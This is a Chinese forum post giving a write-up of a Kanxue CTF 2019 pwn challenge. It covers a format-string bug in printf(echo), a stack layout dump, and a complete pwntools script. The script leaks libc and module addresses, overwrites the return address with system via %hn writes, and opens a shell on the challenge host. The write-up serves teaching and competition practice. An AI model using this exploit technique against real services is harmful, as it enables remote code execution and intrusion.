-
-
[原创]看雪CTF2019晋级赛Q2第三题
-
发表于: 2019-6-25 09:44 5193
-
1 2 3 4 5 6 | Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled |
二、main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | int __cdecl main( int argc, const char **argv, const char **envp) { int index; // eax char buf; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h] [ebp-Ch] int *v7; // [esp+8h] [ebp-8h] v7 = &argc; v6 = __readgsdword(0x14u); setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0); puts ( "Welcome to kanxue 2019, your pwn like cxk" ); do { while ( 1 ) { menu(); read(0, &buf, 4u); index = atoi (&buf); if ( index != 1 ) break ; printf ( "What do tou want to say:" ); read_input(echo, 0x18); printf (echo); puts (( const char *)&unk_56556A97); } } while ( index != 2 ); return 0; } |
可以看出如下语句存在格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | int __cdecl main( int argc, const char **argv, const char **envp) { int index; // eax char buf; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h] [ebp-Ch] int *v7; // [esp+8h] [ebp-8h] v7 = &argc; v6 = __readgsdword(0x14u); setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0); puts ( "Welcome to kanxue 2019, your pwn like cxk" ); do { while ( 1 ) { menu(); read(0, &buf, 4u); index = atoi (&buf); if ( index != 1 ) break ; printf ( "What do tou want to say:" ); read_input(echo, 0x18); printf (echo); puts (( const char *)&unk_56556A97); } } while ( index != 2 ); return 0; } |
可以看出如下语句存在格式化字符串漏洞
1 | printf (echo); |
1 | printf (echo); |

如上图,将栈地址0xFFEB879C改为system函数地址,此时system函数的参数地址应该为FFEB87A0栈地址,因此将
FFEB87A0内容改为全局变量echo地址,然后将'/bin/sh'输入到echo中,即可拿到shell。
三、跳板
观察printf时的栈的情况,并没有直接能够修改main函数的返回地址。因此需要找个跳板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | FFB8D9F0 565B200C .bss:echo FFB8D9F4 00000018 FFB8D9F8 00000004 FFB8D9FC 565B08F3 main+6D FFB8DA00 00000001 FFB8DA04 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA08 FFB80A31 [stack]:FFB80A31 FFB8DA0C 16D67C00 FFB8DA10 FFB8DA30 [stack]:FFB8DA30 FFB8DA14 00000000 FFB8DA18 00000000 FFB8DA1C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA20 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA24 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA28 00000000 FFB8DA2C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA30 00000001 FFB8DA34 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA38 FFB8DACC [stack]:FFB8DACC |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | FFB8D9F0 565B200C .bss:echo FFB8D9F4 00000018 FFB8D9F8 00000004 FFB8D9FC 565B08F3 main+6D FFB8DA00 00000001 FFB8DA04 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA08 FFB80A31 [stack]:FFB80A31 FFB8DA0C 16D67C00 FFB8DA10 FFB8DA30 [stack]:FFB8DA30 FFB8DA14 00000000 FFB8DA18 00000000 FFB8DA1C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA20 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA24 F7FB3000 libc_2.23.so:F7FB3000 FFB8DA28 00000000 FFB8DA2C F7E19637 libc_2.23.so:__libc_start_main+F7 FFB8DA30 00000001 FFB8DA34 FFB8DAC4 [stack]:FFB8DAC4 FFB8DA38 FFB8DACC [stack]:FFB8DACC |
四、获取l地址
从栈中分布情况可轻易获得模块地址值和libc地址,从而获得echo全局地址和sysytem函数地址。
五、脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | # coding:utf-8 from pwn import * from zio import * g_libcBase = 0 g_bridgeStackAddr = 0 g_mainRetAddr = 0 g_systemFuncAddr=0 g_moudleBase = 0; g_ehcoAddr = 0 def choice(index): io.sendline(str(index)) p = io.recvuntil( 'What do tou want to say:' ) return p def say(str): io.sendline(str) sleep(1) p = io.recvuntil( 'Choice:' ) return p def GetAddrByString(str): choice(1) p=say(str) return int (p[2:10], 16) if __name__ == '__main__' : #io = process('./format') io = remote( '152.136.18.34' , 9999) io.recvuntil( 'Choice:' ) #get addr g_bridgeStackAddr = GetAddrByString( '%8$p' ) print 'g_bridgeStackAddr = ' + str(hex(g_bridgeStackAddr)) g_mainRetAddr = g_bridgeStackAddr - 4 print 'g_mainRetAddr = ' + str(hex(g_mainRetAddr)) g_libcBase = GetAddrByString( '%15$p' )- 0x18637 print 'g_libcBase = ' + str(hex(g_libcBase)) #g_systemFuncAddr = g_libcBase + 0x3ADA0 g_systemFuncAddr = g_libcBase + 0x3A940 print 'g_systemFuncAddr = ' + str(hex(g_systemFuncAddr)) g_moudleBase = GetAddrByString( '%3$p' ) - 0x8f3 print 'g_moudleBase = ' + str(hex(g_moudleBase)) g_ehcoAddr = g_moudleBase + 0x200c print 'g_ehcoAddr = ' + str(hex(g_ehcoAddr)) #set system call pyload = '%.' + str(g_mainRetAddr&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_systemFuncAddr&0xffff) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str((g_mainRetAddr+2)&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_systemFuncAddr>>16) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) #set echo g_bridgeStackAddr = g_bridgeStackAddr + 4 pyload = '%.' + str(g_bridgeStackAddr&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_ehcoAddr&0xffff) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str((g_bridgeStackAddr+2)&0xffff) + 'x%5$hn' print 'pyload=' + pyload choice(1) say(pyload) pyload = '%.' + str(g_ehcoAddr>>16) + 'x%53$hn' print 'pyload=' + pyload choice(1) say(pyload) #set /bin/sh pyload = '/bin/sh' + p32(0) choice(1) say(pyload) print 'get shell' io.interactive() |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-6-25 10:05
被oooAooo编辑
,原因:
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5861
- [原创]看雪CTF2019Q3第四题WP 6128
- [原创]看雪CTF2019Q3 第二题WP 7033
- [2019看雪CTF晋级赛Q3第九题WP 12771
- [原创]看雪CTF2019晋级赛Q2第三题 5194
赞赏
雪币:
留言: